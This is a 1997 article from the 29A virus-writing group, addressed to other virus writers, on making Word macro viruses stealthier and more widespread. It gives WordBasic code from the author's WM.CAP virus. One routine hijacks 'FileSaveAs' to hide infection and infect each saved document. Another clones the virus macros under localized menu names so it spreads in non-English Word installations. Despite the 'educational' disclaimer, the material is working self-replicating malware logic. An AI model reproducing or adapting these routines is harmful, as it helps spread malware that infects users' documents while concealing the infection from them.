Macro virus trickz
Jacky Qwerty/29A


This article is not intended to be a tutorial for macro virus writin. It simply states some common problemz and known limitationz with actual macro virii, then sugests solutionz and provides some code examplez for them. The reader should be already familiar with some of the conceptz surroundin macro virii stuff. If not, i sugest to read first a "real" tutorial about the subject and then jump back to this article.

Index

  1. Introduction
  2. The "SaveAs" problem
    2.1. The "SaveAs" solution
    2.2. The "SaveAs" example
  3. The "MultiLanguage suport" problem
    3.1. The "MultiLanguage suport" solution
    3.2. The "MultiLanguage suport" example
  4. Final Note
  5. Disclaimer

1. Introduction

One day while i was surfin the Web, unexpectedly found a couple of linkz containin Word macro virii stuff. After havin programed some DOS virii and researched about PE infection, one has to admit that the idea of a virus writen in WordBasic or VBA... mmm... well, sounds a bit stupid >8P

(DS1, NJ: dont get mad... >8D)

Indeed, macro virii seem stupid once u write one, but at that moment i had written none. After i downloaded and played with some of them, i actually understood not only how stupid macro virii were, but also Microsoft programerz. They're all clueless on what *security* means :)

2. The "SaveAs" problem

Just when i started to write my own macro virus, my atention was caught by an interestin mesage posted to alt.comp.virus. The topic was about that typical nuisance with macro virii that reveals their presence: the "SaveAs" problem. As i had thought, it was posible to overcome this, and that mesage from an expert AVer (well ehem) had just confirmed it.

The "SaveAs" problem occurs when u try to save any infected document with another name usin the "FileSaveAs" command. After the "SaveAs" dialog box appears, u cant change the drive, nor the directory path, nor the format type. Word always saves your document in the "templatez" directory, unablin u to change it. This is bad for the common clueless user and bad for the virus too, as it reveals its presence by tellin him somethin is wrong. It also reduces its chancez to spread coz now the user cant take home his (infected) document as long as Word doesnt let him save documentz to his floppy disk, due to the "SaveAs" problem.

I have thought of diferent wayz to overcome this, however i'll discuss the method i actually implemented in my WM.CAP virus.

2.1. The "SaveAs" solution

How do we solve this problem then? easy, very easy once we understand what an infected document really is. We cant forget that an infected document is really a "template", that why Word doesnt let us change the drive, nor the directory path, nor the format type. Becoz its a "template" and templatez belong to the templatez directory! Ok, but what if we make Word think that the infected document, sorry i meant the infected "template", is a genuine Word document? this would allow the user to select the drive, path and any type for the document! right? right! but how?

Easy again, once we understand why Word provides "templatez": to make user's life easier by creatin documentz based on such templatez, got it? All we have to do is create a new document based on our active infected template! in other wordz we have to "emulate" the "SaveAs" function as if Word were saving a genuine document. Lets write some code to ilustrate.

2.2. The "SaveAs" example

 Sub FileSaveAs                      ' Our "FileSaveAs" macro
   On Error Goto endFileSaveAs       '
   Dim dlg As FileSaveAs             ' Declare dlg as FileSaveAs dialog box
   GetCurValues dlg                  ' Get current values into dlg
   If dlg.Format <> 1 Then           ' Not a template? (i.e. not infected?)
     Dialog dlg                      '   No, a clean document, show box
     FileSaveAs dlg                  '   Save the new document
     Infect(dlg.Name)                '   Infect it! go!
   Else                              ' It's a template (i.e. it's infected)
     TempWindow = Window()           '   Get current window (template)
     OriginalName$ = dlg.Name        '   Get original document name
     FileNew .Template = FileName$() '   Create new doc based on template!
     On Error Goto CloseDoc          '   Now on: if any error close new doc
     GetCurValues dlg                '   Get current values for new doc
     dlg.Name = OriginalName$        '   Change doc name for original one
     Dialog dlg                      '   Ok, show FileSaveAs dialog box
     FileSaveAs dlg                  '   Save the new document
     On Error Goto endFileSaveAs     '   Now on: if any error just go
     Infect(dlg.Name)                '   Ok, infect new document
     If TempWindow >= Window()       '
       TempWindow = TempWindow + 1   '   Get old template window number
     EndIf                           '
     WindowList TempWindow           '   Make it the active window
    CloseDoc:                        '
     FileClose 2                     '   Close it without promptin
   End If                            '
  endFileSaveAs:                     ' We're done! "SaveAs" problem fixed!
 End Sub                             '

The trick here is that the "FileSaveAs" subroutine behaves diferently acordin to the object bein saved. If the object is a genuine Word document (i.e. not infected), the routine simply shows the "SaveAs" dialog box and tries to infect it afterwardz. If the object bein saved is a "template" (i.e. perhaps an infected document) then the routine first creates a new document based on that active template (which is actually the infected document itself) and then shows the "SaveAs" dialog box from this newly created clean document. This time Word allows to choose the format type, drive letter and directory namez. After the user chooses the document name and saves it, the routine simply infects the document, swaps to the window containin the old template (i.e. the old infected document) and finally closes it leavin open the new "SavedAs" document just as Word itself does.

If at this point u're wonderin why we created a new "empty" document from the template, then u probably need some background info in Word macroz and templatez. The new created document is NOT "empty" as it was created from a template which was not empty. Remember that this template is really our infected document and as a result our new created document will contain the same text stuff as the template. Remember also the definition of what a "template" is and why we use them.

3. The "MultiLanguage suport" problem

This is a dificult topic and several diferent aproachez have been tried and implemented by different VXers in order to overcome it. However as to this writin, i still havent seen a single *reliable* multilanguage macro virus. The Wazzu virus consisted of a single automacro: AutoOpen. This makes it language-independent indeed but it still has the "SaveAs" problem, big deal.

The "MultiLanguage suport" problem has to do with the fact that MS Word is available in diferent languagez and flavorz for diferent platformz. Whenever we give a macro the name of a menu item, Word will actually execute the code contained in such macro whenever the user clicks or presses the menu item asociated with it. However if the user executes the same action (clicks the same menu item) under another Word language, the asociated macro won't be executed at all becoz it doesnt match the menu item name as it was written in another language, u see?

For example supose in english Word we program the "FileOpen" macro to do whatever action. Whenever we click the "File/Open" item, our macro will be executed. However supose we copy (unchanged) the same macro to another Word language, say spanish. Under this Word language the asociated file menu item changes now to "Archivo/Abrir". If we click this menu item, our old "FileOpen" macro won't be executed at all. However if we rename the macro to "ArchivoAbrir", this time it will execute just fine. This is what is known as the "MultiLanguage suport" problem.

3.1. The "MultiLanguage suport" solution (without AutoMacroz)

The best aproach to obtain multilanguage suport without losin control over the enviroment is interceptin the file menu related macroz, at least the "FileSaveAs" macro so we can fix the "SaveAs" problem.

The best solution i came up with after thinkin a bit among the diferent alternativez was to intercept the file macroz directly acordin to the especific Word language instaled. This is not a dificult task, however what proves to be somewhat complicated is guessin out the correct macro name for the respective file menu item. If this step is done incorrectly, some file menuz will end up doin diferent actionz other than expected. For instance, the "FileSave" macro could end up callin "FileClose", thus closin the document instead of saving it or viceversa.

In order to get the macro namez for the actual Word language instaled, we must use the "MenuItemMacro$" function. This function gives us the macro name for a given menu item inside a menu, asumin we know of course which menu this menu item refers or belongs to and knowin the menu item name or the menu item position inside this menu itself. Heh are u drowsy? =8-S.

This is precisely the reason why this method is still not 100% reliable. We must asume fixed menu item positionz for the menu itemz we wanna hook. In any Word language from any standard Word instalation we have the followin scenario (equivalent spanish macroz are also shown):

    English        Spanish               Menu        Menu item position
    -------        -------               ----        ------------------
    FileOpen       ArchivoAbrir          1 (File)    2
    FileClose      ArchivoCerrar         1 (File)    3
    FileSave       ArchivoGuardar        1 (File)    5
    FileSaveAs     ArchivoGuardarComo    1 (File)    6

This is precisely the method implemented in the WM.CAP virus in order to work in any Word language. It created aditional macro namez with same body but diferent name -acordin to the actual Word language instaled- for a given macro function. The fact that the macro code remains the same in any Word language is not a problem. The macro interpreter inside Word is "universal", meanin that it will execute correctly the WordBasic or VBA instructionz inside the macroz without carin about the actual Word language instaled. It needs however to refer to valid existin macro namez or labelz. As macro namez change for a given especific Word language, we must be very careful NOT to include any reference to a language-dependent macro name inside any of our file related macroz. This is the reason why such file related macroz inside WM.CAP are just short stubz ("wraperz") that jump to other subroutinez inside the CAP macro itself.

Before showin an example to the "MultiLanguage suport" method, i must warn once again that this method is not 100% reliable. It all depends on how much the user has customized his Word menuz and other setingz. It should however work just perfect on those Wordz havin the factory standard setingz which gracely share all Word instalationz by default. Again in some especific user-customized Word instalationz, the latter method can easily mess up some of the file related macroz, resultin in unexpected behavior and weird funny actionz. Here follows the "MultiLanguage suport" example.

3.2. The "MultiLanguage suport" example

 Dim Shared MacroName$(N)       ' Array of stringz to hold the macro namez

 Sub MAIN                       ' Main subroutine
 [...]
 MacroName$(2) = "FileOpen"     ' "FileOpen"   at position 2 in file menu
 MacroName$(3) = "FileClose"    ' "FileClose"  at position 3 in file menu
 MacroName$(5) = "FileSave"     ' "FileSave"   at position 5 in file menu
 MacroName$(6) = "FileSaveAs"   ' "FileSaveAs" at position 6 in file menu

 FileMenu$ = MenuText$(0, 1)    ' Get name for file menu ("&File")

 For MacroNumber = CountMacros(1) To 1 Step - 1   ' Process each macro
   Position = 0                                   ' No position by now
   NameOfMacro$ = MacroName$(MacroNumber, 1)      ' Get macro name
   Select Case MacroDesc$(NameOfMacro$)           ' Get description of
                                                  '   macro name
     Case "FileOpen"     ' Description = "FileOpen" ?
       Position = 2      '   then position in file menu = 2
     Case "FileClose"    ' Description = "FileClose" ?
       Position = 3      '   then position in file menu = 3
     Case "FileSave"     ' Description = "FileSave" ?
       Position = 5      '   then position in file menu = 5
     Case "FileSaveAs"   ' Description = "FileSaveAs" ?
       Position = 6      '   then position in file menu = 6
   End Select
  
   If Position Then      ' If position in file menu was found then..

     LocalMacro$ = MenuItemMacro$(FileMenu$, 0, Position)  ' Get localized
                                                           '   macro name
     If Left$(UCase$(LocalMacro$), Len(MacroName$(Position)))
          <> UCase$(MacroName$(Position))   ' If local macro name is
        And                                 '   diferent from english name
        Left$(LocalMacro$, 1)               '   and local macro name is NOT
          <> "("                            '   a separator "(.." then
        Then
       
        MacroCopy F$ + ":" + NameOfMacro$, LocalMacro$, -1  ' Copy macro to
                                                            '   localized
     End If                                                 '   macro name
   End If
 Next                    ' Process next macro

The objective in the previous example shows for itself. We're tryin to get the file related macro namez for any localized version of Word other than english. If these file related macroz are located in the exact position where we expect them to be in the file menu (very likely), then the above example will do its work. Probably at this point u're wonderin what has the macro description field to do in all this mess. Heh, well, the field proves to be very useful for some purposez other than simply describin what the macro does. The macro description field can be used to hold generation countz and self-recognition paternz, among other thingz.

In the above example however, the description field mite not be necesary at all. Its purpose is simply to identify a given file related macro in order to assign a position for it in the file menu. But u could argue this can be done as well simply comparin the macro name retrieved from the "MacroName$" function with the required english macro name. Yes, u could, and it would work, as long as these english file related macroz keep stayin in the infected document. But u see, macro corruption, deletion and snatchin of macros are common nowadayz between macro virii due to the increasin number of existin samples of themselves. Becoz of this, the use of the macro description field (whenever posible) to recognize english or equivalent localized macro namez, makes the virus much more robust to macro corruptionz or undesired macro deletionz.

4. Final note

This article was written one or two months after Microsoft released its long expected Office'97, containin Word'97. Becoz of this and becoz i lost my interest in macro virii stuff since that time on, i dunno if these macro trickz will also work under Word'97, i guess not. However, if other VXerz are interested in these topicz and want to add more robustness to their macro virii under Word'97, they should consider the problemz described above.

I hope this article could be useful for that purpose. Thats all, folkz.

5. Disclaimer

This information is for educational purposez only. The author is not responsible for any problemz caused by the use of this information.

(c) 1997. Jacky Qwerty / 29A.